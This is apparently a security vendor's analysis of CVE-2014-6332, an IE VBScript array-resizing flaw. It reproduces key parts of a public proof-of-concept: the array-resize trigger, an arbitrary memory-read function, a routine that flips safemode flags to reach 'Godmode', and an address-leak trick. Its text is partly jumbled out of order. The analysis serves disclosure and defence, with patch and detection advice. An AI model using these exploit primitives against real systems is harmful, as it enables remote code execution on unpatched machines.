It impacts almost all Microsoft Windows versions from Windows 95 onward. A stable exploit exists and works in versions of Internet Explorer from 3 to 11, and can bypass operating system (OS) security utilities and protection such as Enhanced Mitigation Experience Toolkit (EMET), Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR),and Control-Flow Integrity (CFI). Proof of concept (PoC) exploit code has recently been published by a Chinese researcher named Yuange1975. Based on the PoC, it’s fairly simple to write malicious VBScript code for attacks. Attackers may soon utilize the PoC to target unpatched systems.

typedef struct tagSAFEARRAY { USHORT cDims; USHORT fFeatures; ULONG cbElements; ULONG cLocks; PVOID pvData; SAFEARRAYBOUND rgsabound[ 1 ]; } SAFEARRAY; typedef struct tagSAFEARRAYBOUND { ULONG cElements; LONG lLbound; } SAFEARRAYBOUND;

Var { 0x00: varType 0x04: padding 0x08: dataHigh 0x0c: dataLow }

redim aa(a0) … redim Preserve aa(a1) VBScript engine will call function OLEAUT32!SafeArrayRedim(), whose arguments are: First: ppsaOUT //the safeArray address Second: psaboundNew //the address of SAFEARRAY, which contains the new //number of elements: arg_newElementsSize

Microsoft released 16 security updates during its Patch Tuesday release for November 2014, among which includes CVE-2014-6332, or the Windows OLE Automation Array Remote Code Execution Vulnerability (covered in MS14-064). We would like to bring attention to this particular vulnerability for the following reasons:The bug is caused by improper handling resizing an array in the Internet Explorer VBScript engine. VBScript is the default scripting language in ASP (Active Server Pages). Other browsers like Google Chrome do not support VBScript, but Internet Explorer still supports it via a legacy engine to ensure backward compatibility. An array has the following structure in the VBScript engine:pvData is a pointer to address of the array, and rgsabound [0].cElements stands for the numbers of elements in the array. Each element is a structure Var, whose size is 0x10:A bug may occur upon redefining an array with new length in VBScript, such as:

Figure 1. Code of function SafeArrayRedim()

Get the size of old array: oldSize= arg_pSafeArray-> cbElements*0x10

Set the new number to the array: arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize

Get the size of new array: newSize = arg_newElementsSize*0x10

Get the difference: sub = newSize – oldSize

If sub > 0, goto bigger_alloc (this branch has no problem)

If sub < 0, goto less_alloc to reallocate memory by function ole32!CRetailMalloc_Realloc() In this case, go this branch. Though sub > 0x8000000 as unsigned integer, sub is treated as negative value here because opcode jge works on signed integer.

cElements is used as unsigned integer; oldsize, newsize, sub is used as unsigned integer sub is treated as signed integer in opcode jge comparision

a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2)

The function SafeArrayRedim() does the following steps:Here is the problem:This critical vulnerability can be triggered in a simple way. For VBScript engine, there is a magic exploitation method called “Godmode”. With “Godmode,” arbitrary code written in VBScript can break the browser sandbox. Attackers do not need to write shellcode and ROP; DEP and ALSR protection is naturally useless here. Because we can do almost everything by VBScript in “Godmode,” a file infector payload is not necessary in this situation. This makes it easy to evade the detections on heap spray, Return Oriented Programming (ROP), shellcode, or a file infector payload. Next, we'll see how the reliable the existing PoC is.Firstl, the exploit PoC does type confusion using this vulnerability. It defines two arrays: aa and ab, and then resizes aa with a huge number.Because the type of arrays aa and ab are same, and the elements number is equal, it’s possible to have the array memory layout as following:

Figure 2. Expected memory layout of array aa, ab

The address of ab(b0) is a pointer to the type field (naturally, b0=0 here)

The address of aa(a0) is a pointer to the data high field of ab(b0)

When redim Preserve aa(a2)” ,a2 = a0+&h8000000, is run, it may trigger the vulnerability. If that happens, the out-of-bound elements of aa are accessible. The PoC then uses it to do type confusion on element of ab. But the memory layout does not always meet the expectation, and the bug may not be triggered every time. So the PoC tries many times to meet the following condition:Which means: address( aa(a0)) is equal to address( ab(b0)) + 8

Figure 3. Memory layout the conditions meet

Function readmem(add) On Error Resume Next ab(b0)=0 // type of aa(a0) is changed to int aa(a0)=add+4 // the high data of aa(a0) is set to add+4 ab(b0)=1.69759663316747E-313 // thisis 0x0000000800000008 // now, type of aa(a0) is changed to bstr readmem=lenb(aa(a0)) // length of bstr stores in pBstrBase-4 // lenb(aa(a0)) = [pBstrBase-4] = [add+4-4] ab(b0)=0 end function

function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags j=readmemo(i+&h134) for k=0 to &h60 step 4 // for compatibility of different IE versions j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) // change safemode flags redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function

function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function

i=testaa

i=null

Install Microsoft patches immediately. Using any other browser aside from Internet Explorer before patching may also mitigate the risks. We advise users also to employ newer versions of Windows platforms that are supported by Microsoft.

1006324 – Windows OLE Automation Array Remote Code Execution Vulnerability (CVE-2014-6332)

1006290 – Microsoft Windows OLE Remote Code Execution Vulnerability

1006291 – Microsoft Windows OLE Remote Code Execution Vulnerability -1

Then, modifying the ab(b0) data high field equals to modifying the aa(a0) type field -- typeconfusion. Secondly, the PoC makes any memory readable by the type confusion.The abovementioned function can return any [add], which is used to enter “Godmode.”We know that VBScript can be used in browsers or the local shell. When used in the browser, its behavior is restricted, but the restriction is controlled by some flags. That means, if the flags are modified, VBScript in HTML can do everything as in the local shell. That way, attackers can write malicious code in VBScript easily, which is known as “Godmode.” The following function in the PoC exploit is used to enter “Godmode”. The said flags exists in the object COleScript. If the address of COleScript is retrieved, the flags can be modified.Here, function mydata() can return a variable of function object, which includes a pointer to CScriptEntryPoint. Then we raise a question: If the address of a function object is not accessible using VBScript, how does the PoC make it? The following function shows a smart trick in this PoC:The key is in the first three lines of the function:We know that we cannot get the address of a function object in VBScript. This code seems to be nonsense. However, let’s see the call stack when executing it. Before the above line, the stack is empty. First, the VM translates testaa as a function, and puts its address into the stack. Second, VM translates the address of i, and tries assignment operation. However, the VM finds that the type in stack is function object. So it returns an error and enter error handling. Because “On Error Resume Next” is set in the function mydata(), VM will continue the next sentence even when the error occurs.For this line, VM translates “null” first. For “null”, VM will not put a data into stack. Instead, it only changes the type of the last data in stack to 0x1!! Then VM assigns it to i, -- that’s just the address of function testaa(), though the type of i is VT_NULL. The abovementioned lines are used to leak the address of function testaa() from a VT_NULL type.The “Godmode” of legacy VBScript engine is the most dangerous risk in Internet Explorer. If a suitable vulnerability is found, attackers can develop stable exploits within small effort. CVE-2014-6322 is just one of vulnerabilities the most easily to do that. Fortunately, Microsoft has released patch for that particular CVE, but we still expect Microsoft to provide direct fix for “Godmode,” in the same way Chrome abandoned support for VBScript. In addition, this vulnerability is fairly simple to exploit and to bypass all protection to enter into VBScript GodMode(), which in turn can make attackers ‘super user’ thus having full control on the system. Attackers do not necessarily need shellcode to compromise their targets. The scope of affected Windows versions is very broad, with many affected versions (such as Windows 95 and WIndows XP) no longer supported. This raises the risk for these older OSes in particular, as they are vulnerable to exploits. This vulnerability is very rare since it affects almost OS versions, and at the same time the exploit is advanced that it bypasses all Microsoft protections including DEP, ASLR, EMET, and CFI. With this killer combination of advanced exploitation technique and wide arrayed of affected platforms, there's a high possibility that attackers may leverage this in their future attacks.We highly recommend users to implement the following best practices: Trend Micro™ Deep Security and Vulnerability Protection (formerly the Intrusion Defense Firewall plug-in for OfficeScan), part of our Smart Protection Suites, are our recommended solutions for enterprises to defend their systems against these types of attacks and customers with the latest rules are protected against this vulnerability. Specifically, Trend Micro has released the following Deep Packet Inspection (DPI) rules to protect user systems from threats that may leverage this vulnerability:In addition to the above, we have released Network Content Inspection and Network Content Correlation patterns for Trend Micro Deep Discovery Inspector to provide hosts visibility for either the source or affected hosts of the said vulnerability when an exploit attempt occurs. OfficeScan 11 also detects exploit attempts in this manner. For more information on the support for all vulnerabilities disclosed in this month’s Patch Tuesday, go to our Threat Encyclopedia page